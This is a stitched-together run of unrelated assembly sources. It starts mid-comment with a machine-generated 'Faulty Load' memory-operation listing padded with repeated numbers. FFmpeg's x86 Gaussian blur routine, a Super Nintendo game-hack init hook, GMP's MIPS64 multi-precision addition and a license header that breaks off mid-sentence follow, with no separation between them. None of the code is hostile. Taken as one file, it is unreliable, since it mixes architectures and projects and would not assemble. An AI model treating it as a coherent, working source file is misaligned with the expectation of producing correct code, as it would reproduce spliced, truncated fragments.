'addresses_D', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
;***************************************************************************** ;* x86-optimized functions for gblur filter ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION .text ; void ff_horiz_slice_sse4(float *ptr, int width, int height, int steps, ; float nu, float bscale) %macro HORIZ_SLICE 0 %if UNIX64 cglobal horiz_slice, 4, 9, 9, ptr, width, height, steps, x, y, step, stride, remain %else cglobal horiz_slice, 4, 9, 9, ptr, width, height, steps, nu, bscale, x, y, step, stride, remain %endif %if WIN64 movss m0, num movss m1, bscalem DEFINE_ARGS ptr, width, height, steps, x, y, step, stride, remain %endif movsxdifnidn widthq, widthd mulss m2, m0, m0 ; nu ^ 2 mulss m3, m2, m0 ; nu ^ 3 mulss m4, m3, m0 ; nu ^ 4 xor xq, xq xor yd, yd mov strideq, widthq ; stride = width * 4 shl strideq, 2 ; w = w - ((w - 1) & 3) mov remainq, widthq sub remainq, 1 and remainq, 3 sub widthq, remainq shufps m0, m0, 0 shufps m2, m2, 0 shufps m3, m3, 0 shufps m4, m4, 0 .loop_y: xor stepd, stepd .loop_step: ; p0 *= bscale mulss m5, m1, [ptrq + xq * 4] movss [ptrq + xq * 4], m5 inc xq ; filter rightwards ; Here we are vectorizing the c version by 4 ; for (x = 1; x < width; x++) ; ptr[x] += nu * ptr[x - 1]; ; let p0 stands for ptr[x-1], the data from last loop ; and [p1,p2,p3,p4] be the vector data for this loop. ; Unrolling the loop, we get: ; p1' = p1 + p0*nu ; p2' = p2 + p1*nu + p0*nu^2 ; p3' = p3 + p2*nu + p1*nu^2 + p0*nu^3 ; p4' = p4 + p3*nu + p2*nu^2 + p1*nu^3 + p0*nu^4 ; so we can do it in simd: ; [p1',p2',p3',p4'] = [p1,p2,p3,p4] + [p0,p1,p2,p3]*nu + ; [0,p0,p1,p2]*nu^2 + [0,0,p0,p1]*nu^3 + ; [0,0,0,p0]*nu^4 .loop_x: movu m6, [ptrq + xq * 4] ; s = [p1,p2,p3,p4] pslldq m7, m6, 4 ; [0, p1,p2,p3] movss m7, m5 ; [p0,p1,p2,p3] FMULADD_PS m6, m7, m0, m6, m8 ; s += [p0,p1,p2,p3] * nu pslldq m7, 4 ; [0,p0,p1,p2] FMULADD_PS m6, m7, m2, m6, m8 ; s += [0,p0,p1,p2] * nu^2 pslldq m7, 4 FMULADD_PS m6, m7, m3, m6, m8 ; s += [0,0,p0,p1] * nu^3 pslldq m7, 4 FMULADD_PS m6, m7, m4, m6, m8 ; s += [0,0,0,p0] * nu^4 movu [ptrq + xq * 4], m6 shufps m5, m6, m6, q3333 add xq, 4 cmp xq, widthq jl .loop_x add widthq, remainq cmp xq, widthq jge .end_scalar .loop_scalar: ; ptr[x] += nu * ptr[x-1] movss m5, [ptrq + 4*xq - 4] mulss m5, m0 addss m5, [ptrq + 4*xq] movss [ptrq + 4*xq], m5 inc xq cmp xq, widthq jl .loop_scalar .end_scalar: ; ptr[width - 1] *= bscale dec xq mulss m5, m1, [ptrq + 4*xq] movss [ptrq + 4*xq], m5 shufps m5, m5, 0 ; filter leftwards ; for (; x > 0; x--) ; ptr[x - 1] += nu * ptr[x]; ; The idea here is basically the same as filter rightwards. ; But we need to take care as the data layout is different. ; Let p0 stands for the ptr[x], which is the data from last loop. ; The way we do it in simd as below: ; [p-4', p-3', p-2', p-1'] = [p-4, p-3, p-2, p-1] ; + [p-3, p-2, p-1, p0] * nu ; + [p-2, p-1, p0, 0] * nu^2 ; + [p-1, p0, 0, 0] * nu^3 ; + [p0, 0, 0, 0] * nu^4 .loop_x_back: sub xq, 4 movu m6, [ptrq + xq * 4] ; s = [p-4, p-3, p-2, p-1] psrldq m7, m6, 4 ; [p-3, p-2, p-1, 0 ] blendps m7, m5, 0x8 ; [p-3, p-2, p-1, p0 ] FMULADD_PS m6, m7, m0, m6, m8 ; s+= [p-3, p-2, p-1, p0 ] * nu psrldq m7, 4 ; FMULADD_PS m6, m7, m2, m6, m8 ; s+= [p-2, p-1, p0, 0] * nu^2 psrldq m7, 4 FMULADD_PS m6, m7, m3, m6, m8 ; s+= [p-1, p0, 0, 0] * nu^3 psrldq m7, 4 FMULADD_PS m6, m7, m4, m6, m8 ; s+= [p0, 0, 0, 0] * nu^4 movu [ptrq + xq * 4], m6 shufps m5, m6, m6, 0 ; m5 = [p-4', p-4', p-4', p-4'] cmp xq, remainq jg .loop_x_back cmp xq, 0 jle .end_scalar_back .loop_scalar_back: ; ptr[x-1] += nu * ptr[x] movss m5, [ptrq + 4*xq] mulss m5, m0 addss m5, [ptrq + 4*xq - 4] movss [ptrq + 4*xq - 4], m5 dec xq cmp xq, 0 jg .loop_scalar_back .end_scalar_back: ; reset aligned width for next line sub widthq, remainq inc stepd cmp stepd, stepsd jl .loop_step add ptrq, strideq inc yd cmp yd, heightd jl .loop_y RET %endmacro %if ARCH_X86_64 INIT_XMM sse4 HORIZ_SLICE INIT_XMM avx2 HORIZ_SLICE %endif
pushpc ; Code that is run once after the game has been powered on. org $00802F JML init_hook NOP init_done: ; optimize message pointer creation by a lot org $1CF37A PEA.w MessagePointers PEA.w $71C0 PEA.w 396*2 SEC ; bank 7F ; push to stack: source, destination, size ; carry = wram bank DoWRAMBig: REP #$20 PLA STA.w $4305 PLA STA.w $2181 PLA STA.w $4302 LDA.w #$8000 STA.w $4300 SEP #$30 LDA.b #MessagePointers>>16 STA.w $4304 LDA.b #$00 ROL STA.w $2183 LDA.b #$01 STA.w $420B RTL DoWRAM4BPP: PEA.w WRAMGFX PEA.w $9000 PEA.w $2E00 CLC ; bank 7E BRA DoWRAMBig warnpc $1CF3D4 org $0EFCB2 PEA.w FiveBeeZeroZero PEA.w $5B00 PEA.w 1026 SEC ; bank 7F JML DoWRAMBig pullpc ;=================================================================================================== init_hook: SEP #$30 LDA.b #$03 : STA.l $002224 ; image 3 for page $60 LDA.l !config_feature_music : BNE ++ JSL mute_music ++ LDA.b #$22 : STA.l $2143 ; BWOOWOOOWOWOOOOOO JSL InitSA1 REP #$20 SEP #$10 STZ.w $2182 LDA.w #$2000 STA.w $2182 #ZeroLand: LDA.w #$4300 TCD LDA.w #ZeroLand+1 STA.b $4312 STA.b $4302 LDX.b #ZeroLand>>16 STX.b $4314 STX.b $4304 LDA.w #$E000 ; this many bytes for WRAM STA.b $4315 LDA.w #$8008 STA.b $4310 STA.b $4300 LDX.b #$02 STX.w $420B DEX STX.w $2183 STZ.w $2181 STX.w $420B LDA.w #$0000 TCD ;=================================================================================================== ; Done doing what ALTTP needs done but faster ;=================================================================================================== SEP #$30 ; check for reset config combo LDA.b #$01 : STA.w $4016 : STZ.w $4016 ; pulse controller STZ.b $00 : STZ.b $01 LDY.b #$10 ; reading 16 bits -- LDA.w $4016 ; if the last bit is on, carry will be set, otherwise, it won't; A is still 1 LSR ROL.b $00 : ROL.b $01 ; roll carry from A and then from $00 DEY : BNE -- REP #$20 LDA.b $00 AND.w #$FF00 : CMP.w #$3000 : BEQ .forcereset LDA.w !config_init_sig : CMP.w #!INIT_SIGNATURE : BEQ .noforcereset .forcereset JSR init_initialize_all BRA .sram_initialized .noforcereset LDA.w !config_sram_initialized CMP.w #$0030 : BCC .forcereset .sram_initialized REP #$10 ; clear unused config settings, for when they're used in future updates LDX.w #!last_config SEP #$20 LDA.b #$00 BRA ++ -- STA.l SA1RAM.SETTINGS,X INX ++ CPX.w #$0400 BCC -- SEP #$30 STZ.w $037F ;=================================================================================================== ; everything is done now ; back to the game JSL $028000 JSL $028022 JSL $0EF572 JSL DoWRAM4BPP JSL reinit_sentry_addresses SEP #$30 LDA.b #$15 : STA.b $1C STZ.b $11 STZ.b $12 LDA.b #$01 STA.b $10 STA.w $04AA LDA.b #$81 : STA.w $4200 JML init_done ;=================================================================================================== init_initialize_all: PEA.w VERSIONSTABLE SEP #$20 LDA.b #$1F : STA.w $2143 STA.l SA1RAM.old_music_bank REP #$30 PLY PHB PHK PLB .next LDX.w $0000,Y BEQ .done INY INY LDA.w $0000,Y STA.l $400000,X INY INY BRA .next .done PLB RTS VERSIONSTABLE: !PERM_INIT dw $0000, $0000 WRAMGFX: incbin "resources/decomped.4bpp" MessagePointers: dw $8000, $8001, $800E, $801B, $803C, $805C, $806D, $8078 dw $8083, $808E, $8097, $80A0, $80DF, $818F, $81B7, $81E4 dw $8211, $823E, $826A, $8297, $82C0, $82E9, $8313, $8457 dw $848D, $84B6, $853E, $855F, $8648, $866E, $8728, $8775 dw $87B0, $8809, $8837, $8892, $8929, $895E, $89BC, $89EA dw $8A18, $8A3F, $8AAF, $8B89, $8BE5, $8C0E, $8C2C, $8C8B dw $8CB0, $8D86, $8DF0, $8E27, $8F97, $9003, $9039, $916B dw $935A, $9389, $93B9, $93D8, $93E7, $93FA, $9415, $942E dw $944B, $945C, $947A, $9495, $94B4, $94BF, $94EE, $94FE dw $950F, $9533, $955E, $958C, $95B7, $9616, $9631, $9650 dw $9673, $9693, $96B8, $96DE, $970C, $9731, $975B, $9787 dw $97BF, $97F3, $982A, $9857, $9886, $98BB, $98DD, $990C dw $9940, $9972, $99AB, $99E2, $9A18, $9A48, $9A72, $9A9E dw $9ACD, $9AFA, $9B27, $9B59, $9B85, $9BB6, $9BDA, $9C81 dw $9CAA, $9CD7, $9D05, $9D39, $9D61, $9D8D, $9DB5, $9DE5 dw $9E13, $9E38, $9E60, $9E97, $9EF1, $9F47, $9FAF, $A018 dw $A054, $A066, $A09B, $A0D1, $A123, $A138, $A161, $A185 dw $A1CA, $A1E5, $A207, $A237, $A261, $A27B, $A2A5, $A2C6 dw $A2E1, $A302, $A322, $A352, $A382, $A3B2, $A3E1, $A454 dw $A508, $A524, $A5B8, $A5E9, $A680, $A70E, $A7A3, $A81B dw $A876, $A96D, $A9F2, $AA0F, $AA3E, $AAD3, $AAFE, $AB19 dw $AB34, $AB52, $AB61, $AB71, $AB80, $ABB0, $ABCB, $ABDB dw $ABED, $AC1D, $AC41, $ACA1, $AD23, $AD47, $ADA6, $AE01 dw $AE61, $AE95, $AEC2, $AEE4, $AF13, $AF41, $AF9F, $AFD3 dw $B019, $B068, $B099, $B0C2, $B0F4, $B154, $B176, $B1A3 dw $B1CD, $B1ED, $B212, $B23E, $B261, $B280, $B29A, $B2C6 dw $B30C, $B330, $B352, $B373, $B397, $B3BE, $B3E6, $B425 dw $B44F, $B473, $B491, $B4B4, $B4D1, $B4ED, $B51A, $B56F dw $B5EF, $B60D, $B622, $B64B, $B6F9, $B71B, $B738, $B75A dw $B801, $B82A, $B85F, $B889, $B8BB, $B8EC, $B91E, $B951 dw $B97F, $B9AD, $BA04, $BA38, $BA58, $BA81, $BAB8, $BAE5 dw $BB14, $BB41, $BB6D, $BB9E, $BBD0, $BC17, $BC8D, $BCB6 dw $BD53, $BDC6, $BE1D, $BE4C, $BED4, $BEF4, $BEFF, $BF0A dw $BF73, $BF8F, $BFA2, $BFCF, $BFF2, $C015, $C038, $C08D dw $C0DD, $C2AB, $C2EB, $C32C, $C36A, $C38F, $C3BD, $C3EA dw $C404, $C42F, $C47F, $C49F, $C4CC, $C51A, $C545, $C56B dw $C588, $C5B4, $C5C7, $C5E2, $C6F2, $C750, $C77D, $C7B0 dw $C7DA, $C807, $C820, $C84B, $C875, $C8A4, $C8CF, $C8F1 dw $C91C, $CC51, $CF83, $D1D9, $D3C4, $D643, $D85D, $DAB2 dw $DADC, $DB05, $DB27, $DDD0, $DE21, $DEB5, $DEE2, $DF14 dw $DF72, $DF9D, $DFE8, $E06D, $E096, $E0C3, $E126, $E158 dw $E2C3, $E305, $E30C, $E313, $E33A, $E367, $E3F5, $E404 dw $E413, $E422, $E432, $E446, $E45E, $E476, $E48E, $E4B5 dw $E4DC, $E4FA, $E5DC, $E608, $E6BD, $E6ED, $E71F, $E76E dw $E792, $E7B9, $E7DE, $E7F5, $E81F, $E848, $E868, $E891 dw $E8B5, $E8D7, $E901, $E91B, $E948, $E970, $E9F8, $EA25 dw $EA8C, $EAEA, $EE1A, $EE29, $EE7A, $EE88, $EEB3, $EEDA dw $EF09, $EF25, $EF45, $EF62, $EFEA, $F039, $F050, $F072 dw $F0C1, $F157, $F1E4, $F204, $F233, $F24E, $F29E, $F2C8 dw $F2EC, $F310, $F325, $F356 FiveBeeZeroZero: db $00,$00,$1A,$00,$33,$00,$49,$00,$62,$00,$7E,$00,$99,$00,$B4,$00 db $D0,$00,$EC,$00,$08,$01,$1E,$01,$3B,$01,$4D,$01,$68,$01,$84,$01 db $9D,$01,$B8,$01,$D1,$01,$EE,$01,$09,$02,$23,$02,$43,$02,$63,$02 db $7F,$02,$99,$02,$B4,$02,$C6,$02,$DE,$02,$F6,$02,$15,$03,$2E,$03 db $4D,$03,$69,$03,$83,$03,$9D,$03,$B7,$03,$D0,$03,$F0,$03,$0E,$04 db $2D,$04,$49,$04,$63,$04,$7C,$04,$91,$04,$AD,$04,$CD,$04,$ED,$04 db $0C,$05,$24,$05,$3E,$05,$5A,$05,$74,$05,$8D,$05,$A7,$05,$C4,$05 db $E2,$05,$FB,$05,$11,$06,$2A,$06,$44,$06,$5C,$06,$7C,$06,$9C,$06 db $BC,$06,$D9,$06,$F9,$06,$19,$07,$39,$07,$59,$07,$77,$07,$97,$07 db $A8,$07,$B9,$07,$CB,$07,$DA,$07,$EC,$07,$FC,$07,$0E,$08,$22,$08 db $35,$08,$4E,$08,$68,$08,$85,$08,$9D,$08,$BA,$08,$D8,$08,$EF,$08 db $03,$09,$21,$09,$3D,$09,$5B,$09,$76,$09,$89,$09,$A3,$09,$BB,$09 db $D2,$09,$EF,$09,$09,$0A,$23,$0A,$3E,$0A,$58,$0A,$78,$0A,$98,$0A db $B8,$0A,$D6,$0A,$F0,$0A,$0B,$0B,$24,$0B,$3F,$0B,$5C,$0B,$74,$0B db $93,$0B,$B0,$0B,$BC,$0B,$D5,$0B,$F2,$0B,$0A,$0C,$29,$0C,$49,$0C db $69,$0C,$83,$0C,$9F,$0C,$B7,$0C,$CC,$0C,$EA,$0C,$09,$0D,$29,$0D db $49,$0D,$61,$0D,$7B,$0D,$93,$0D,$AD,$0D,$C7,$0D,$E6,$0D,$04,$0E db $24,$0E,$3C,$0E,$5A,$0E,$73,$0E,$8C,$0E,$A6,$0E,$C6,$0E,$E6,$0E db $02,$0F,$1F,$0F,$3F,$0F,$5F,$0F,$7F,$0F,$9B,$0F,$B9,$0F,$D9,$0F db $EB,$0F,$FC,$0F,$0C,$10,$1C,$10,$2C,$10,$3E,$10,$50,$10,$60,$10 db $72,$10,$8C,$10,$A4,$10,$BE,$10,$D8,$10,$F1,$10,$0B,$11,$25,$11 db $3F,$11,$59,$11,$73,$11,$8D,$11,$A7,$11,$C1,$11,$DB,$11,$F5,$11 db $0E,$12,$28,$12,$42,$12,$5A,$12,$74,$12,$8E,$12,$A7,$12,$C1,$12 db $DB,$12,$F5,$12,$0F,$13,$2A,$13,$44,$13,$5E,$13,$77,$13,$91,$13 db $AB,$13,$C5,$13,$DF,$13,$F8,$13,$12,$14,$27,$14,$3F,$14,$5C,$14 db $74,$14,$7C,$14,$83,$14,$A1,$14,$BC,$14,$C7,$14,$D1,$14,$DC,$14 db $EE,$14,$00,$15,$12,$15,$37,$15,$4E,$15,$60,$15,$72,$15,$84,$15 db $96,$15,$A0,$15,$AC,$15,$B4,$15,$BC,$15,$C4,$15,$E4,$15,$03,$16 db $1E,$16,$3B,$16,$56,$16,$70,$16,$8C,$16,$AB,$16,$D1,$16,$F7,$16 db $0B,$17,$31,$17,$45,$17,$6B,$17,$7F,$17,$91,$17,$A1,$17,$B3,$17 db $C5,$17,$D7,$17,$E9,$17,$FB,$17,$0D,$18,$1F,$18,$31,$18,$43,$18 db $55,$18,$67,$18,$79,$18,$8B,$18,$9D,$18,$AF,$18,$C1,$18,$D3,$18 db $D3,$18,$F3,$18,$13,$19,$32,$19,$55,$19,$73,$19,$93,$19,$AE,$19 db $CE,$19,$EE,$19,$0E,$1A,$2E,$1A,$4F,$1A,$6F,$1A,$8B,$1A,$AA,$1A db $C9,$1A,$E9,$1A,$09,$1B,$29,$1B,$49,$1B,$69,$1B,$89,$1B,$A3,$1B db $C1,$1B,$DE,$1B,$FE,$1B,$1E,$1C,$3C,$1C,$5C,$1C,$7C,$1C,$9C,$1C db $BC,$1C,$DA,$1C,$F9,$1C,$18,$1D,$34,$1D,$52,$1D,$6C,$1D,$87,$1D db $A9,$1D,$CB,$1D,$EB,$1D,$0B,$1E,$2B,$1E,$4C,$1E,$6C,$1E,$8B,$1E db $AB,$1E,$C8,$1E,$E8,$1E,$06,$1F,$26,$1F,$46,$1F,$66,$1F,$83,$1F db $A0,$1F,$BE,$1F,$DF,$1F,$FC,$1F,$1C,$20,$3B,$20,$57,$20,$75,$20 db $95,$20,$B5,$20,$D3,$20,$F0,$20,$0F,$21,$2C,$21,$4E,$21,$6C,$21 db $8C,$21,$AC,$21,$CA,$21,$EA,$21,$0B,$22,$29,$22,$47,$22,$65,$22 db $85,$22,$A5,$22,$C5,$22,$E3,$22,$05,$23,$21,$23,$40,$23,$60,$23 db $81,$23,$A1,$23,$C1,$23,$E1,$23,$FE,$23,$1F,$24,$3D,$24,$57,$24 db $76,$24,$96,$24,$B4,$24,$D4,$24,$F3,$24,$13,$25,$31,$25,$51,$25 db $70,$25,$8E,$25,$AE,$25,$CC,$25,$E8,$25,$08,$26,$28,$26,$48,$26 db $66,$26,$86,$26,$A3,$26,$BF,$26,$DE,$26,$FD,$26,$15,$27,$34,$27 db $54,$27,$73,$27,$93,$27,$B1,$27,$D1,$27,$EF,$27,$0D,$28,$2B,$28 db $48,$28,$68,$28,$88,$28,$A8,$28,$C8,$28,$E9,$28,$08,$29,$28,$29 db $47,$29,$67,$29,$87,$29,$A8,$29,$C9,$29,$E7,$29,$05,$2A,$25,$2A db $45,$2A,$66,$2A,$86,$2A,$A7,$2A,$C7,$2A,$E3,$2A,$03,$2B,$24,$2B db $42,$2B,$62,$2B,$82,$2B,$A4,$2B,$C0,$2B,$DF,$2B,$FF,$2B,$1D,$2C db $3E,$2C,$5E,$2C,$7C,$2C,$9B,$2C,$BA,$2C,$D8,$2C,$EA,$2C,$05,$2D db $25,$2D,$43,$2D,$64,$2D,$85,$2D,$A5,$2D,$C2,$2D,$E2,$2D,$04,$2E db $23,$2E,$44,$2E,$62,$2E,$7F,$2E,$A1,$2E,$C2,$2E,$E4,$2E,$05,$2F db $25,$2F,$45,$2F,$66,$2F,$87,$2F,$A8,$2F,$C6,$2F,$E6,$2F,$05,$30 db $27,$30,$49,$30,$68,$30,$8A,$30,$AB,$30,$CE,$30,$F0,$30,$12,$31 db $33,$31,$53,$31,$75,$31,$93,$31,$B2,$31,$D5,$31,$F6,$31,$15,$32 db $33,$32,$54,$32,$76,$32,$93,$32,$B4,$32,$D4,$32,$F4,$32,$16,$33 db $38,$33,$57,$33,$76,$33,$94,$33,$B4,$33,$D1,$33,$F2,$33,$12,$34 db $34,$34,$55,$34,$76,$34,$96,$34,$B8,$34,$D8,$34,$F8,$34,$15,$35 db $36,$35,$57,$35,$74,$35,$95,$35,$B8,$35,$D9,$35,$F9,$35,$1B,$36 db $3D,$36,$5B,$36,$7B,$36,$9D,$36,$BF,$36,$DF,$36,$FC,$36,$1C,$37 db $3E,$37,$5E,$37,$7F,$37,$A0,$37,$C2,$37,$E4,$37,$04,$38,$24,$38 db $44,$38
dnl MIPS64 mpn_add_n -- Add two limb vectors of the same length > 0 and store dnl sum in a third limb vector. dnl Copyright 1995, 2000, 2001, 2002 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C INPUT PARAMETERS C res_ptr $4 C s1_ptr $5 C s2_ptr $6 C size $7 ASM_START() PROLOGUE(mpn_add_n) ld $10,0($5) ld $11,0($6) daddiu $7,$7,-1 and $9,$7,4-1 C number of limbs in first loop beq $9,$0,.L0 C if multiple of 4 limbs, skip first loop move $2,$0 dsubu $7,$7,$9 .Loop0: daddiu $9,$9,-1 ld $12,8($5) daddu $11,$11,$2 ld $13,8($6) sltu $8,$11,$2 daddu $11,$10,$11 sltu $2,$11,$10 sd $11,0($4) or $2,$2,$8 daddiu $5,$5,8 daddiu $6,$6,8 move $10,$12 move $11,$13 bne $9,$0,.Loop0 daddiu $4,$4,8 .L0: beq $7,$0,.Lend nop .Loop: daddiu $7,$7,-4 ld $12,8($5) daddu $11,$11,$10 ld $13,8($6) sltu $8,$11,$10 daddu $11,$11,$2 sltu $2,$11,$2 sd $11,0($4) or $2,$2,$8 ld $10,16($5) daddu $13,$13,$12 ld $11,16($6) sltu $8,$13,$12 daddu $13,$13,$2 sltu $2,$13,$2 sd $13,8($4) or $2,$2,$8 ld $12,24($5) daddu $11,$11,$10 ld $13,24($6) sltu $8,$11,$10 daddu $11,$11,$2 sltu $2,$11,$2 sd $11,16($4) or $2,$2,$8 ld $10,32($5) daddu $13,$13,$12 ld $11,32($6) sltu $8,$13,$12 daddu $13,$13,$2 sltu $2,$13,$2 sd $13,24($4) or $2,$2,$8 daddiu $5,$5,32 daddiu $6,$6,32 bne $7,$0,.Loop daddiu $4,$4,32 .Lend: daddu $11,$11,$2 sltu $8,$11,$2 daddu $11,$10,$11 sltu $2,$11,$10 sd $11,0($4) j $31 or $2,$2,$8 EPILOGUE(mpn_add_n)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 